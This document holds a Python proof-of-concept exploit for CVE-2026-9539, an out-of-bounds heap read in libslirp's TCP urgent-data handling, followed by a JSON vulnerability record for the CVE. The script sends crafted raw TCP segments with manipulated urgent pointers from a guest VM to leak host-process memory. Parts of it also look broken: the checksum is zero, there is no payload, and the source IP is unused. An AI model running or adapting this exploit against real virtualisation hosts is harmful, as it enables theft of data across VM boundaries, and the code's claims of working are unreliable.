CVE-2026-9539

#!/usr/bin/env python3 # CVE-2026-9539 - libslirp sosendoob OOB Heap Read PoC # Exploits integer underflow in TCP urgent pointer (ti_urp) handling # Requires: root or CAP_NET_RAW on the guest VM import socket import struct import os import sys def craft_urg_tcp_packet(src_ip, dst_ip, src_port, dst_port, urg_ptr): """ Craft a TCP segment with manipulated URG flag and urgent pointer to trigger OOB heap read in libslirp's sosendoob function. """ # TCP header fields seq = 0 ack = 0 data_offset = 5 # 20 bytes, no options # Flags: URG (0x20) set, ACK also set for valid handshake state flags = 0x20 | 0x10 # URG + ACK window = 65535 checksum = 0 urgent_ptr = urg_ptr # Manipulated urgent pointer value # Build TCP header (big-endian) tcp_header = struct.pack('!HHIIBBHHH', src_port, # Source port dst_port, # Destination port seq, # Sequence number ack, # Acknowledgment number (data_offset << 4), # Data offset flags, # TCP flags (URG set) window, # Window size checksum, # Checksum (0 for raw socket) urgent_ptr # Urgent pointer - KEY FIELD for exploitation ) return tcp_header def exploit(target_ip, target_port, iterations=1000): """ Send crafted TCP segments with manipulated urgent pointers to trigger heap OOB read in libslirp. """ try: # Create raw socket (requires CAP_NET_RAW) sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) except PermissionError: print("[-] Error: Requires root or CAP_NET_RAW capability") sys.exit(1) src_port = 12345 for i in range(iterations): # Use urgent pointer values that trigger integer underflow # Values near 0 or that cause negative offset calculation if i % 3 == 0: urg_ptr = 0x0001 # Minimal non-zero value elif i % 3 == 1: urg_ptr = 0xFFFF # Maximum value else: urg_ptr = 0x0000 # Zero with URG flag set (invalid combination) pkt = craft_urg_tcp_packet('10.0.2.15', target_ip, src_port, target_port, urg_ptr) try: sock.sendto(pkt, (target_ip, 0)) except Exception as e: print(f"[-] Send error at iteration {i}: {e}") if i % 100 == 0: print(f"[*] Sent {i}/{iterations} crafted URG packets (urp=0x{urg_ptr:04x})") print(f"[+] Exploit complete: {iterations} packets sent") print("[+] Check host process memory for leaked data") sock.close() if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [target_port] [iterations]") print("Note: Run as root or with CAP_NET_RAW inside guest VM") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 iters = int(sys.argv[3]) if len(sys.argv) > 3 else 1000 print(f"[*] CVE-2026-9539 libslirp sosendoob OOB Read PoC") print(f"[*] Target: {target}:{port}") print(f"[*] Iterations: {iters}") exploit(target, port, iters)

{"cve": {"id": "CVE-2026-9539", "sourceIdentifier": "[email protected]", "published": "2026-06-24T05:17:31.100", "lastModified": "2026-06-24T13:16:37.960", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "An out-of-bounds heap read and integer underflow in the TCP urgent data handling (sosendoob) in freedesktop.org libslirp version before v4.9.2 on hypervisor host environments (e.g., QEMU) allows a privileged guest VM attacker (root or CAP_NET_RAW) to leak gigabytes of sensitive host-process heap memory via sending crafted TCP segments with manipulated URG flags and urgent pointers (ti_urp)."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "freedesktop.org", "product": "libslirp", "defaultStatus": "unaffected", "repo": "https://gitlab.freedesktop.org/slirp/libslirp/", "versions": [{"version": "0", "lessThan": "4.9.2", "versionType": "semver", "status": "affected", "changes": [{"at": "4.9.2", "status": "unaffected"}]}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.0, "impactScore": 4.0}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-24T12:39:41.276722Z", "id": "CVE-2026-9539", "options": [{"exploitation": "poc"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://gitlab.freedesktop.org/slirp/libslirp/-/commit/927bca7344e31fd58e2f7afaca784aad4400eb84", "source": "[email protected]"}, {"url": "https://gitlab.freedesktop.org/slirp/libslirp/-/releases/v4.9.2", "source": "[email protected]"}, {"url": "https://gitlab.freedesktop.org/slirp/libslirp/-/work_items/93", "source": "[email protected]"}, {"url": "https://gitlab.freedesktop.org/slirp/libslirp/-/work_items/93", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}